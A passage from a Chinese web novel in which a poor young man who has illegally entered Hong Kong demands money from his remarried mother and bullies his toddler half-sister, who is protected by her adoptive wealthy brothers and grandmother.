张南坐在沙发上，望着眼前美其名曰因为想念她才偷渡过来的儿子，无奈的抿着嘴角。 “我跟你爸当初离婚的时候就说好，你们兄妹四个以后跟他一起生活，我有时间就回去看你们，这才过了多久，你们就不能放过我吗？” 童亮不敢相信，这是作为一位母亲，亲口说出来的话。 他猛地拔高音量，一步跨到客厅中央，居高临下地质问：“放过你？妈，你自己也说，这才过去多久，你做了有钱人的姨太太，就迫不及待的跟我们划清界限！” 张南眼圈泛红，将脸转到另一头。 “你当姨太太是那么好当的，我也有我的无可奈何。” “你的无可奈何就是天天高床软枕，吃香喝辣，再也不用为了钱发愁，抛下爸跟我们在内地孤儿寡父，你分明就是嫌贫爱富！” “阿亮……”张南见他躁怒，怕被外面的佣人听见，想要伸手拉他。 童亮一把甩开她的手，力道大得自己都踉跄了一下：“别碰我！” 张南眼里泪水滚落，不甘心被这样指责，她手捂着胸口，站起来说道：“我离开那个家，除了婉婉什么都没带走，房子、存款都留给你们，这些还不够吗？” 她也只是个女人而已。 她受够了像奴隶一样为鞍前马后，公婆打压，丈夫的不理解，受够了没日没夜的争吵！ 所以才从那个家逃走，逃到港城，以为他们就不会再纠缠。 “你们还想要什么？”张南痛苦的跌坐回去。 童亮眼睛死死的盯着她，屋里富丽堂皇的装饰，是那么的刺眼。 “我们……” 他的话还未说完，张南听见院子里的脚步声，立刻起身摆手制止。 她从窗口看见黎墨城抱着婉婉的身影，赶忙擦掉眼睛里的泪水，将童亮推到一旁，调整表情起身过去迎接。 “墨城，你也来了。”张南眼睛上的红痕还没消退，不过在不知情的黎墨城看来，也只是以为她与儿子团聚，触发了感动才落泪。 “五妈。”黎墨城叫了人，转眸，看向屋里的童亮。 青年比他小了几岁，看起来应有十七八，浑身透着一股年轻气盛的锐气，穿着一身货物员工的打扮，五官之中只有部分轮廓与张南相似，更多的，应该像那位素未谋面的小婉婉的生父。 “你好。”黎墨城淡淡的打了声招呼。 而童亮在他进来的时候，就收敛了一身的锋芒，化身为普通的内陆青年。 他知道自己身处什么地方，昔日在内地见到黎墨城父子，他就被他们身上的气场所震慑，连招呼都不敢上前打，想借机来港城，也只敢悄悄的混入工人队伍。 此刻他站在黎墨城面前，偷渡的行为暴露，窘迫加上自卑，更是让他连头都不敢抬一下，更别提回应问候。 他没那个胆子。 但是他又克制不住的，将眼角的余光落给黎墨城怀里的小婉婉。 只见她身上穿着漂亮的白色泡泡袖衬衣，黑色的小短裤比大人的款式还要时尚精致，一双锃亮的小皮鞋，干净到会反光，头发也梳理得很整齐，带着亮晶晶的发卡装饰。 而她被黎墨城抱在怀里，搭调又和谐的氛围，简直不要太温馨。 看来真是跟母亲过上了好日子！ 一想到这，童亮心里的不甘又开始作祟，因为他的潜意识里觉得，这些好东西都应该属于三妹，如果是她跟着母亲来港城，那么她今天就是千金小姐，根本不用在家里跟他们吃苦。 他没看黎墨城，低沉的命令：“童婉婉，你过来。” 童亮叫她的时候，脑海中浮现的是过去穿着破旧棉袄，成天傻兮兮自言自语的蠢包子。 每次只要他一个瞪眼，她就必须乖乖听话！ 然而，已经习惯了黎家生活，还与家人培养出感情的小婉婉，早就不是那个不受待见的小可怜儿了。 在这个家里，她有人疼，有人爱，也有人愿意把最好的东西给她。 她在童亮命令她的时候，就缩着脖子躲在黎墨城怀里。 大哥哥最厉害，‘大哥哥’一定打不过。 黎墨城也在小婉婉躲避的时候，明显感觉到她的紧张，抬起手，将她护在怀里，凤眸落在童亮的脸上，似盯准猎物的鹰隼，伺机而动。 张南察言观色，发觉黎墨城不高兴，赶忙站出来制止童亮：“你好好说话，吓到妹妹了！” 说着，她将童亮挡在后面，避免他真的将黎墨城激怒，开口说和：“阿亮他只是跟婉婉闹着玩，他们在家都习惯了。” “是么？”闹着玩，就把小婉婉吓得发抖？ 他兄弟众多，同样作为大哥，可没有哪个弟弟见了他，会这样逃避。 黎墨城并不蠢，在来的路上就知道小婉婉不喜欢这位亲生兄长，现在看，何止是不喜欢？ “既然来了就是客人，我让佣人收拾一间客房，让他在这边好好陪五妈，至于婉婉……” 黎墨城犀利的眸光落给张南身后的童亮，俊脸浸润笑意，眯起的眼尾三分客套，六分凉薄，还有一分是警告。 “我从老三那儿带来才一会儿，晚上他还要接回去，我们俩都轮不过来，让这位先等等吧！” 说罢，黎墨城脸色冷峻的出了门。 而他从进门到离开，也就几句话的功夫，如同晃了一遭，就把小婉婉给带走。 作为亲哥哥的童亮，连一片衣服角都没有摸到。 张南反倒松了一口气，早知道童亮对婉婉是这样的态度，就不该把她叫过来。 毕竟小婉婉已经不是当初那个乡下丫头，而是黎家人手心里的宝，连自己都不敢随便给她委屈受。 张南意识到这一点，准备提醒童亮，不要再欺负婉婉，惹黎家人不高兴。 没想到童亮竟然反过来，气冲冲的指责她：“你当时就应该带三妹来港城，而不是这个连话都听不懂的蠢货！” 第29章 借钱 “婉婉也是你妹妹，你怎么能这么说她？”张南的心里咯噔一紧！ 是，她一开始决定带的确实是倩倩，因为相较于三岁的婉婉，她更懂事，更懂得体贴人。 可那天是倩倩自己跟她说不想来港城，婉婉刚好想来，她也只能退而求其次。 “你以为我没想带倩倩来吗？是她自己不愿意！” “那是因为倩倩有良心，她舍不得她的父亲和哥哥们，不像童婉婉有奶就是娘！还有，我不叫阿亮，我叫童亮！”童亮大声的与她争执。 张南被他气得双手发抖，她一手握着扶手，一只手扶着额头，喉咙发出哽咽。 “说来说去，你心里还是怪我……你偷渡到港城，就是为了说这些？” “当然不是！”童亮一声冷哼，将刚才被迫憋回去的话说出来：“我爸最近下岗了，小飞和倩倩还要上学，所以我们跟爸商量，在家做点小生意。你现任丈夫是大老板，肯定给你不少钱吧？你借我们一些，等赚了钱就还你！” 所以童亮是来找她要钱的？ 张南的心就像是被锥子使劲儿扎了一下，指尖忽然凉得像浸在冰水里，连呼吸都带着玻璃碴似的疼。 只有一道道气音，在胸腔里闷闷的撞击。 “要钱就要钱，还说什么想我。”她偏着头，睫毛簌簌地抖，泪珠缓缓的落下。 这就是她的大儿子，辛辛苦苦的把他生下来，抚养他成人，那么多年她为家里的付出，他视而不见，反过来却跟他爸爸一样，永远把自己当成受害者，一边埋怨她抛夫弃子，一边又想靠着她的新环境索取好处。 “你简直和你爸爸一样，没心没肺！”张南肩膀不停的颤，只觉得五脏六腑都被搅得翻江倒海，连带着指尖都在发麻。 恶心的男人，生的儿子也一样让人恶心！ 童亮完全感受不到张南的痛苦，只看得到她对自己的嫌恶。 是以，更加没有好气的折辱起她来。 “我说了是借，你卖身的钱多宝贝，我们可不敢要你的钱！” 刷的一下。 张南浑身的血液逆流到头皮，感觉周围的一切都在渐渐漂远，只有心脏钝钝的，一下下撞击肋骨的声响，像是要把什么东西，从身体里剜出去。 她颤抖得抬起手，指着门口。 “你给我滚！” 她怎么会生出这样的儿子？ 张南弯下腰，用手捂着脸，泪水顺着指缝落下，却连哭出声的力气都没有了。 童亮来的时候就知道，向她借钱没那么容易，但是他并没有放弃。 转身出了门，他看着门口守着的佣人：“你们家大少爷不是交代你们准备客房？带我过去。” 他就不信，自己在这里住着，跟她多提几次，她真的能拒绝到底！ 佣人看着童亮趾高气扬的模样，脸上带着不屑。 心说大少爷只是跟你客气，这人脸皮厚的真的当了真？ “你随我来吧。”不过佣人还是按照礼节，将他带去了准备好的客房。 等到将童亮带进房间，佣人站在门口，笑不及眼底的警告：“你叫童亮是吧？我们大少爷念在你是五姨太的儿子，按照礼节招待你。 你作为客人，也请遵守礼数，不要到处乱走，毕竟我们黎家家大业大，随随便便一样东西都很贵重，您要是不小心弄坏了什么，丢的可不光是你自己的脸，五姨太也没法向大爷交代。” 童亮对上佣人落在自己身上轻飘飘的目光，心里被什么东西堵着，不光是愤怒，还有难堪和局促。 真是好一个‘黎家家大业大’，竟然连一个佣人都瞧不起自己！ 他紧攥着手，牙龈咬得生疼，硬是克制住了脾气，硬邦邦的“嗯”了一声。 心说，既然这黎家随随便便一样东西都很贵重，那岂不是母亲随便给他一点儿，都能解决家里的燃眉之急？ 这么点儿钱确实不应该说借，因为就算他们还了，恐怕都不被她看在眼里！ …… 小婉婉跟黎墨城回到院子没多久，就困得小嘴儿圆溜溜直打哈欠。 黎墨城赶忙让佣人给她准备晚餐，看着三岁的小奶团子趴在餐椅上，攥着小勺子，香喷喷的吃着美食，就知道自己给足她安全感，已经完全把让她不愉快的人抛到了脑后。 和小家伙一起用完午餐，老夫人院里的佣人过来，让他过去一趟。 黎墨城便将小婉婉送回到黎墨郢的院子，结果却发现房门紧闭，被佣人告知：“三少爷上午就出去了，一直没回来。” 黎墨城表示知晓，干脆带着小婉婉一起去了老夫人的院子。 小家伙趴在他肩头，伴随他走路轻微的颠簸，在路上就软软的睡着了。 黎老夫人这两天忙着伺候花草，都没怎么带过小婉婉，此刻见了趴在黎墨城怀里睡着的小人儿，欢喜的在脸上亲了两口。 “她睡的还怪香，这都没醒！” “应该玩的太累了，我把她送去里面。”黎墨城将小婉婉抱去了房间。 老夫人在后面交代佣人：“这两天天气太热，你们去院里摘个冬瓜，洗干净，给婉婉驱暑！” “是。” 待祖孙二人转移到了客厅，黎老夫人坐在主位上，轻缓的叹了口气。 “我听下面的人说，婉婉内陆的大哥跟着商队偷渡过来，现在正在张南的院里？” 黎家的庄园虽然很大，但佣人跟佣人之间都有联系，就像是会移动的消息基站，而总部就在老夫人这里，每天家里有什么事情发生，都会第一时间传到她耳朵。 黎墨城颔首，道了声：“没错。” 随即，他不用老夫人主动提问，就将情况告知。 “婉婉跟那位兄长关系一般，但毕竟他过来探望五妈，我们的礼数不能少，我让佣人给他准备了客房，让他住几天，再派人将他送走。” “你说婉婉跟他关系一般？”老夫人立刻皱起了眉。 本来她还想看在婉婉的面子上，把人叫过来见一见面，再送些东西维系一下感情。 现在看来，完全就是多余！ “他跟我们婉婉都相处不一块儿去，能是什么好东西？说是探望他母亲，还不是抱着意图讨便宜来的，你跟跟老三要把婉婉看紧，被让那样的人把我宝贝孙女儿教坏，要不然，我唯你们是问！” 第30章 亏了还知道关心他 黎老夫人叱咤了大半辈子，什么样的人和事没经历过？ 不是他瞧不起张南在内陆的前夫一家，而是通过现象看本质，一下就把童亮给摸透了。 黎墨城不置可否，童亮一个接近成年的人，千里迢迢来找张南，总不可能是天真的，想要她再回内陆去跟前夫复合。 或许思念也有，可更多的，还是贪恋母亲过去对他们的付出。 那样的人往往不会理解别人的处境，只会站在自己的立场，无限放大自己的私心。 “奶奶放心，我们不会让婉婉和他接触。”黎墨城保证。 黎老夫人点了点头，最后叮嘱：“那就把他当成寻常的客人，招待完再妥善送走，免得小了我们的气度。” “是。” 祖孙两个人聊完，黎墨城去屋里看了一眼，小婉婉四脚朝天的躺在塌上，睡得不要太香。 黎老夫人走过来说：“你先回去吧，让婉婉跟我在这儿睡午觉，醒了我叫人给你送过去。” 黎墨城听后却苦笑：“阿奶忘了，老三会截胡。” 黎老夫人无奈的翻了他一眼，别说他跟黎墨郢是一母同胞亲亲的兄弟，就算不是一个母亲，手心手背都是肉，她能向着哪个？ “你还好意思跟我提截胡？你们俩往后日子还长，我能活得过你们？我就这一个宝贝孙女儿，我计较你们跟我抢了吗？真是，赶紧滚蛋，我要跟我孙女儿睡觉了！” 黎墨城：“……” …… 尽管被阿奶驱赶，黎墨城到底还是坐在客厅里没走，为的就是等小婉婉睡醒，直接把她抱回自己院子里。 结果没想到，黎墨郢也抱着这个想法，从外面满头大汗的跑进来，和黎墨城四目相对，兄弟俩各有各的嫌弃。 “大哥出差这么多天，回来也不说多休息一下？”黎墨郢老神在在的坐在椅子上，汗水顺着俊脸淌下来，他也只是随意的擦拭了一下。 黎墨城像是怕被他身上的汗溅到身上，默默的翘起二郎腿。 轻哼：“大哥在外面奔波惯了，少休息一会儿不觉得累，你平时那么爱干净的人，出汗还不抓紧回去洗洗？” 黎墨郢斜眼：“大哥不懂了吧？中医里面讲，这叫排湿气。” 黎墨城：“尸体的尸？” “干湿的湿！” “干尸？木乃伊？” 黎墨郢无语，向天翻了个大白眼，故意擦完了汗，往黎墨城身上掸。 黎墨城看着被他汗水淋到的白衬衣，正欲黑脸发作，听见屋里响起奶团子说话声。 届时。 兄弟二人同时起身，又同时迈步往屋里走。 当到快要接近门口的时候，到底是穿运动鞋的黎墨郢快了他一步，‘嗖’的闪进屋里。 黎墨城败就败在了习惯稳重，身姿没有少年那样轻盈，等他进门的时候，黎墨郢已经将小婉婉抱起来，还故作得意的对他炫耀。 “我就说大哥累了吧？抱孩子都没我快。” “幼稚。”黎墨城来到跟前，对婉婉伸出双手：“三哥身上出汗了，大哥抱。” 小婉婉下意识张开小手，下一秒，就被黎墨郢给按了回去。 “不准去！” 由于他的动作太过粗鲁，被老夫人看去，啪，一巴掌扇在了背上。 “轻点儿，你怎么能凶婉婉？下次再这样，就别想带她了你！” 说着话，老夫人一把将婉婉抢了回去，对兄弟二人呵斥：“你们都滚蛋，下午婉婉我带，不用你们。” 如此下来，黎墨城和黎墨郢白争了一番，谁也没有得到带孩子机会，还被老夫人嫌弃的驱赶。 而刚睡醒的小婉婉，就因为被抱过来又抢过去的，整个小人儿都懵懵哒，扑闪着大眼睛，看过来又看过去，直到两个哥哥被撵走了，只剩下了老夫人独自哄她，小家伙乖巧的依靠在她怀里。 “阿奶，你生气了吗？” “没有，阿奶是想婉婉了，才把他们都撵走的。” “婉婉也想阿奶。”小小的人儿一头扑进老夫人怀里，萌萌哒诉说想念，着实又让老夫人心软了一把，整个下午，抱着她就没撒手过。 直到晚上留她用过晚饭，他才将小婉婉送到黎墨郢院子里。 至于黎墨城那边，她也没有冷落，让佣人去转告说，等到黎墨郢开学就没人跟他抢了，白天只要有空，婉婉随便他怎么带都行。 …… 小婉婉被佣人刘妈拉着手，刚进东院的北门，就感觉到扑面而来的寂静气息。 黎墨郢独自坐在摇椅上，沐浴之后，身上的衣服已经换了干净的。明明磕着眸，却浑身上下散发着不安和躁动，源源不断的黑雾缭绕在周围，像是随时会将他吞噬一样。 “小小姐，我们轻一点，三少爷睡着了，别吵醒他。”刘妈小声提醒。 小婉婉小大人儿一样叹了口气，摇头说：“三哥哥没睡着，我去看看。” 说完，小家伙倒腾着两条小腿向黎墨郢靠近。 就在她即将触碰到他衣角的时候，黎墨郢身上的黑色雾气，如同被一股无形的能量压制，有的钻回到了身体，有的则直接散去。 天空，似乎都清明了。 几只小鸟和小婉婉一起，叽叽喳喳的落在树梢。 黎墨郢的闻到了一股奶甜的香味儿，刚要睁开凤眸，下一刻，两只热乎乎的柔软小手，将他的眼睛捂住。 “三哥哥，猜猜我是谁？” 小不点儿。 自己就暴露了，还让他猜。 黎墨郢握住眼睛上方的小手落下，映入眼帘的，是小丫头奶萌萌的脸蛋儿，她应该偷吃了小蛋糕，浑身散发着奶油香。 “还知道回来？” 大手，似幽怨的在她脸上轻捏了一把，转而常臂一伸，将人拉到了怀里。 “三哥哥，你吃晚饭了吗？” 亏得小家伙还知道关心他！ 黎墨郢却默不作声，抱着他起身，推门进屋。 开了灯，刹那间，小婉婉对屋里的情景惊讶的“哇”了一声。 只见屋子里的地上摆满了各种各样的玩具，还有童装的购物袋，随意的堆放在角落。 床上就更不用说了，铺满了五颜六色的糖豆、巧克力和小饼干，比上次大哥哥给她买的还要多！ “三哥哥，你把玩具屋搬到家里了吗？”惊讶过后，小婉婉发出天真的提问。 而黎墨郢却只是看着她，许久，勾唇，像只狐狸似的警告：“收了我的东西，以后别人给的不准要了。” …… 题外话： 小婉婉：只是别人的东西不要，但大哥哥又不是别人呀！ 第31章 三哥哥真是太幼稚了 “记住了没有？”黎墨郢怕她听不懂，还特意捏着她脸蛋儿警告。 小婉婉自顾眨眼：“我记住了。” 黎墨郢随即召唤佣人过来，把屋子里的完结和糖果都收拾起来，心满意足的抱着她坐在床边。 眼看着，少年眉眼低垂的见了困倦。 小婉婉却一点睡意都没有，眨巴着大眼睛问：“三哥哥，你要睡觉了吗？” 黎墨郢真的很困，从嗓子里“嗯”了一声，闭上眼睛就睡着了。 小婉婉一个人好无聊呀，可是，如果她不在的话，打黑龙又会打扰三哥哥睡觉，可真是一件纠结的事呢。 小婉婉拖着小腮帮，就那么看着少年睡着的模样。 偶尔用小手指碰碰他高挺的鼻梁，偶尔摸摸他的唇角，他都没有醒来。 就这么两个多小时过去，小婉婉终于有点儿困了，打了个小哈欠，抱着黎墨郢的胳膊，小腿儿一翘，也跟着睡了过去。 清晨。 小婉婉又被叽叽喳喳的鸟叫声唤醒。 她睁开萌萌的大眼睛，旁边，黎墨郢也跟着醒了，小婉婉用小手揉了揉眼睛，奶声奶气的道了句：“三哥哥早上好。” 黎墨郢看着她包子似的小脸蛋儿，抬起手，在上面捏了一把。 低声警告：“今天就在我这儿待着，哪儿都不准去！” 话虽然这样说，可是小婉婉还没来得及答应，黎墨城的成熟的嗓音，便在门外响起。 “阿郢，起床了没有？” 黎墨郢直接闭上眼睛装死，顺便把小婉婉拉到怀里，然而却忘记捂住她的小嘴。 小家伙奶呼呼的一声：“大哥哥！” 直接把黎墨郢给卖了。 黎墨城用手叩门：“我知道你醒了，别给我装蒜，今天是外婆生日，母亲让我过来叫你跟她一起去贺寿。” 床上的黎墨郢眉头紧拧，跟怀里的小丫头大眼瞪小眼儿了半晌。 最后不甘心的在她小脸蛋儿上捏了一把，起身，过去开门。 “贺寿你们去就行，我要在家带婉婉。” 黎墨城脸色不悦，白了他一眼。 “你以为谁想强迫你去？我跟爸今天有重要的商会参加，黎家总不能一个代表都没有，何况你也是老人家的亲外孙，往年缺席就算了，今年再不去，是想把亲缘关系断了？” 黎墨城的一番敲打加说教，让黎墨郢无法反驳。 这几年因为性格的原因，让他厌恶一切的社交往来，小小年纪深居简出如同一个世外高人。 家人体谅他的情绪，也都很少过来打扰他，或者对他提什么要求。 可是现在有了小婉婉，老夫人为了他，甚至把监护权都让了出来，他再想逃避责任，是不可能了。 “我知道了。”黎墨郢打发了黎墨城，就要关门。 下一秒，黎墨城迈开长腿，直接进了屋，自顾来到床边将小家伙抱了起来。 “婉婉，今天大哥和三哥都有事，你去阿奶那儿等着我们好不好？” 说着话，他用手解开她头上的小揪揪，笨拙又生疏的给她仔细的梳理。 那副轻柔的模样，看得黎墨郢眼睛抽了好几下。 小婉婉则乖巧的点了点头：“好呀，我在家里等着大哥哥和三哥哥。” “真乖！” 黎墨城给她梳好了头发，也不管黎墨郢的黑脸，直接抱起她说道：“我把她送去阿奶那儿，你赶紧收拾。” 黎墨郢霸道的拦在门口：“把她放下，一会儿我送她去。” 黎墨城勾着凤眸，那张和黎墨郢七分相似，但却更成熟的脸上，挂起了淡淡的嘲弄。 “你也老大不小了，天天过家家似的跟我争，别太幼稚。” 黎墨郢就像是一只被揭短的老猫，梗着脖子，愠红着脸反驳：“谁跟你过家家？你是大哥我就得让着你？” 黎墨城嗤笑一声：“你以为我不知道，你把我给婉婉买的东西都扔到阁楼？老三，我是大哥，不跟你一般见识，但婉婉不是你自己的妹妹，她也是我的宝贝！” 说完，黎墨城还故意拖着婉婉的小脑瓜儿，在她左脸上亲了一口。 就见黎墨郢气结，腮帮咬得紧绷。 小婉婉的大眼睛来回落在两个哥哥的脸上，眼见着黎墨郢脾气将要暴走，她立刻拍拍自己的右脸。 “三哥哥不气，这边给你亲亲。” 黎墨郢：“……” 看着小丫头奶嘻嘻哄他的小表情，黎墨郢虽然消了脾气，但他还是因为被黎墨城的小看，面子上挂不住。 死鸭子嘴硬的道了句：“谁要亲你这只鼻涕虫！” 迈过门槛，气哄哄的出门。 好在小婉婉跟他相处久了，习惯他隔三岔五的阴阳脸，老气横秋的抱着胳膊。 叹了一声：“三哥哥真是太幼稚了！” “就是，咱们不跟他玩，找阿奶去。”黎墨城被她小大人似的反应逗笑，觉得小包子不要太可爱，揉了揉她的头，抱着她去老夫人的院子。 …… 晨光刚漫过窗台，黎墨冰走到鸟笼子前，指尖敲了敲栏杆。 玄凤鹦鹉扑棱了几下翅膀，歪着黄冠脑袋看他，忽然扯着嗓子学他教过的话：“你真漂亮！” 黎墨冰笑出声，刚解开笼门，想要抚摸它的绒毛，窗外忽有翅膀扑棱声掠过。 一只白色的鸽子刚好落在阳台上，歪着头啄着上面的西瓜子。 鹦鹉的注意力瞬间被勾走，黎墨冰也随之看去，哪知就因为这一点儿分神，玄风鹦鹉直接扑腾着飞出笼子，奔着阳台边缘的白鸽而去。 “诶？”黎墨冰伸手去抓。 然而白色的鸽子受到惊吓，振翅起飞，盘旋着往院子里的树冠飞去。 玄凤鹦鹉紧随其后，扑棱着追了过去。 “嘿，你这没良心的，小爷天天好吃好喝的供你，怎么说跑就跑！”黎墨冰气得冲出房门。 彼时。 小婉婉在老夫人那里吃过早茶，王妈跟刘妈便奉命带她在园子里面玩耍，顺便消化一下吃到撑的小肚肚。 小家伙手里攥着一只风筝线轴，王妈在后面举着粉红色的风筝帮忙放飞，刘妈则在前面护着她的安全，避免她摔倒受伤。 “小小姐，慢点儿跑，别着急。” “刘妈快看，风筝飞高高的。” 花园里，充斥着小孩子天真无邪的笑声。 这样充满童趣的画面，任谁看了，都要忍不住停留脚步，流露出宠溺的神情。 可是在心有偏见的童亮的眼里，小丫头无论是身上的打扮，还是她小脸上幸福的表情，都格外的刺眼。 想到父亲带着他们兄弟姐妹在内陆过着贫穷的生活，而童婉婉却能在港城锦衣玉食，还有佣人伺候。 昨天她还在自己面前跟黎墨城那么亲密，不是故意恶心他是什么？ “童婉婉，你给我过来！” 第32章 哪儿来的野狗 童亮眼底的妒火熊熊燃烧，如同一只狂躁的狮子，为了宣告自己的主权，在别人的领地上耀武扬威。 小婉婉听到他的声音，脚下没注意，踩滑了草坪，被风筝线拽得一个趔趄。 “小小姐！”幸好刘妈出手及时，成功的接住她，才没让她摔倒。 刘妈跟王妈同时松了口气，回头正要斥责没礼貌，吓到小小姐的家伙，却看见一张陌生的青年面孔。 童亮阴鸷的走过来，在看见小婉婉看见他，流露出的惊慌神色后，心里的阴暗被触动。 他唇角挂着阴沉的笑，眼睛眯着，黑色的瞳孔锋芒毕露。 “我让你过来，听见没有！” 小婉婉瞬间想起在过去，在那个家里不美好的回忆。 每一次，只要大哥哥心情不好，他就会这样叫她过去，然后故意将她推倒，叫她拖油瓶，责怪她的出生，让爸爸妈妈吵架。 “不去，不喜欢你。”小婉婉本能的抱住刘妈的大腿，躲在她后面。 童亮没想到她敢忤逆自己，还敢直接说出‘不喜欢’这样的话，让本就满心嫉妒的他，彻底释放出身上的戾气。 他三步并做两步，跑到跟前来。 咬着牙，比画着拳头，恶狠狠的威胁：“你敢不听话，我打你信不信？” “这位先生，你吓到我们小小姐了。”刘妈跟王妈同时制止他蛮横的行为。 然而童亮却表现出一副高高在上客人姿态，完全不把她们放在眼里。 甚至还出言蔑视小婉婉：“她一个拖油瓶，算什么小小姐？我是她亲哥，想怎么管就怎么管，你们都给我让开！” 刘妈严厉的与他争执：“我们家老夫人已经把她认作孙女儿，她就是我们的小小姐，你就算是她亲哥哥，也不能这么说她！” 王妈也说道：“就是，小小姐自从来我们家，老夫人便将她视作亲人，几位少爷都对她百般呵护，亏你作为亲哥哥，却这样说自己的妹妹，你是怎么做人的？” 童亮没想到两个佣人竟然敢数落自己，干脆直接动手，跟她们撕扯到一起。 “我让你们走开，童婉婉，你再不过来，让我逮到，看怎么收拾你！” 小婉婉到底年纪小，在看见他与王妈和刘妈发生冲撞，想要过来抓她，本能放开手，向着后面跑去。 而她这一跑，正好合了童亮的心思。 他推开两个佣人，仗着自己身体灵活，直奔着婉婉跑开的方向，一把抓住她的胳膊。 小婉婉痛的小脸儿都白了，小嘴儿一瘪就要哭，而童亮的注意力却落在她头上的金色发卡上。 这么贵重的东西，黎家人竟然都舍得给她？ 想到此行来的目的，童亮的眼底掠过一抹暗茫。 他知道在张南的院子里，有一间屋子是专门给她留的，他猜想黎家这么有钱，给她的宝贝肯定不少，一直想进去看看。 哪知道那些佣人却像防贼一样，在那个门上落了锁。 此刻他看着小婉婉头上的金色发卡，下意识觉得给她戴这么好的东西是浪费，便想欺负她幼小，打算夺过来。 哪怕就算不卖钱，拿回去给倩倩也不错！ 反正黎家给了她的东西就是她的，自己是她的亲大哥，要她一样东西怎么了？ 童亮想要去摘婉婉头上的发卡，而小婉婉在发觉他的意图后，用双手抱着头。 因为这是三哥哥送给她的礼物，说过不能弄丢的。 “撒手，把它给我，听见没有！”童亮一手抓着她胳膊，另一只手去薅她的头发，想要把发卡抢过来。 小婉婉急得泪花溢出眼眶，委屈的喊：“不给你，这是三哥哥给我的！” 刘妈和王妈跑过来，合力将童亮拽住。 小婉婉趁机张开小嘴，在童亮攥着她的手上咬下去。 “啊！”童亮吃痛松手。 小婉婉拔腿开跑，一边跑，一边擦拭眼睛里的泪花儿。 小婉婉要坚强，不哭。 而被刘妈和王妈绊住的童亮，只差一点儿就得手了，心里不甘之下，他攥紧了拳头，朝她们打了下去。 “让你们多管闲事，给我滚！” “哎呦！”王妈的头被打了一下。 而刘妈则被童亮踹在肚子上，直接就痛的起不来了。 眼看着她们保护不了小小姐，只能一个先留下来，另一个去喊帮手。 “来人啊，有人在园子里行凶，想要伤害小小姐！” …… 黎墨冰一路追着鹦鹉狂奔，他身上的伤也才刚好没几天，这么一折腾，感觉整个后背都在隐隐刺痛。 但他仍然没有放弃那只重金买回来的鹦鹉，一边大喘气，一边在下面呼喊停下。 忽然，他听见前面的院子里传来哭声，便意识到家里只有一个小孩儿，还是老夫人心肝宝贝！ “婉婉！” 黎墨冰顾不上鹦鹉了，直接奔着前面的园子跑。 等他跑到附近，就看见一个十七八岁的青年男子，拽着小婉婉的胳膊，狠厉的凶她。 “爸妈生你有什么用？整天只知道吃喝享乐，一点儿也不为家里着想，还不如没你这个妹妹，我让你跑！” “你给我放手！”黎墨冰一张脸生得精致，笑起来的宛若春风拂面，花柳怡人。 而他对谁都见面笑三分的性格，让整个黎家上下都没见过他动怒。 而此刻，黎墨冰英挺的眉头皱在一起，漂亮的桃花眸淬了一层薄冰，惯常带着笑意的嘴角，抿成一条直线。 小婉婉那么小，从他见到她的那一刻，就一直被她可爱又甜美的笑哄着，感觉生命都得到了治愈。 而眼前这个不知天高地厚的东西，不仅凶她，还想动手打人？ 黎墨冰再好的脾气，也受不住心头怒火。 在童亮巴掌刚要落下去的瞬间，黎墨冰一个箭步冲过去，一脚将他踹开的同时，将小婉婉护在怀里。 “二哥哥。”小婉婉看见黎墨冰，扑进他充满安全感的怀抱。 但小小的身体仍然被吓得发抖，紧紧搂着他的脖子，将小脸儿埋在他肩膀，无声哽咽，泪花儿却早已泛滥，沾湿他的衬衣。 黎墨冰也紧紧的将她抱住，冷锐的桃花眸睨着童亮，喉结滚动了几下，每一个字都像是从齿缝中挤出来。 “哪儿来的野狗，敢在我黎家咬人？” 第33章 你在跟一只鸽子说话？ 童亮被黎墨冰一脚踹翻在地。 看着突然出现的穿着花衬衣的男青年，他攥紧了手，死咬着嘴唇，从地上站起来。 如果他没听错，刚才童婉婉叫他‘二哥哥’。 心说了一句好啊，先有黎墨城给她撑腰，现在又冒出来一个二哥，到了港城，还真让她找到靠山了？ 真不知道这个死丫头有什么好，让他们一个个的都昏了头，出面为她做主！ 尽管在黎墨冰这样的阔少爷面前，让他产生了强烈的自卑，可他仍然不服气的宣誓起主权。 “你算什么东西？我才是她亲大哥，管教我妹妹，你少多管闲事！” “我多管闲事？”黎墨冰一手捂着婉婉的后脑勺，安抚她惊吓的情绪。 他向前走了两步，气势迫人的“哼”了一声。 “亲大哥怎么了？婉婉她现在是我妹妹！你在我家欺负她，还敢打伤佣人，是觉得我们黎家没人了吗？” 正应和着黎墨冰的话，王妈那边找来了帮手，见到黎墨冰在给婉婉做主，二十多号人，齐刷刷的站在身侧等候吩咐。 童亮一见到这么大的阵仗，这才有些慌了，意识到事情已经闹大，有些不好收场。 不过他仗着自己是黎家的客人，认为这些人也不会拿自己怎么样，于是又冒出几分底气。 他看着趴在黎墨冰肩头的小婉婉，紧紧的攥起了拳头。 这个死丫头居然说不喜欢自己，转个头就对黎家那些少爷诌媚巴结，不就是因为他们有钱吗？ 还真是个见利忘义的死丫头！ “童婉婉，我最后再说一遍，你再不过来找我，以后永远别认我这个大哥！”童亮怒气冲冲的威胁。 然而黎墨冰根本不用小婉婉表态，他将婉婉护在怀里，视线沉沉的落在童亮身上，像是积了雪的寒潭，由内而外迸射出冷意。 片刻，他忽而又勾起唇角，明艳俊秀的面孔在这一刻融化开，不过却又给人一种尖锐的攻击性。 “当你是什么宝贝？不认就不认！你们几个把他丢到外面去，日后，一步也别想在踏进我们黎家！” 黎墨冰吩咐完，那些佣人早就看不惯童亮，几乎是一拥而上，让他连一点儿反抗的机会都没有，就将他给带走了。 刘妈为了给小婉婉出气，还脱掉了自己的袜子，一把塞到童亮嘴里，避免他再说出污言秽语。 黎墨冰在这期间，就一直抱着小婉婉，让她背对着这幅场面。 直到再也看不见童亮，他用拇指轻轻的刮弄她的脖颈，用温柔的嗓音安抚：“婉婉别怕，二哥把坏蛋赶跑了，让他欺负你！” 小婉婉轻轻的抽噎了一下，眼睫毛上还挂着几滴未干透的泪珠，攥着他的手终于松开了一些。 “二哥哥厉害，大哥哥是坏蛋，婉婉不怕他！” 黎墨冰望着她可怜兮兮的小脸儿，不知不觉，心头最柔软的地方被唤醒。 以至于他的声音更温柔，抚摸她后背的动作也多了几分珍惜。 “嗯，有二哥在，谁也不能欺负婉婉。” “嗯！”小婉婉又重新依赖的趴在他怀里，软哒哒的小身体不再颤抖了，心情慢慢的在平复。 黎墨冰刚要松一口气，这时，他追赶了一路的长舌鹦鹉，自己飞了回来，扑打着翅膀落在肩头。 两颗圆溜溜瞪着小婉婉，歪着黄冠，煞风景的开口：“狗东西别跑！狗东西，你真漂亮。” 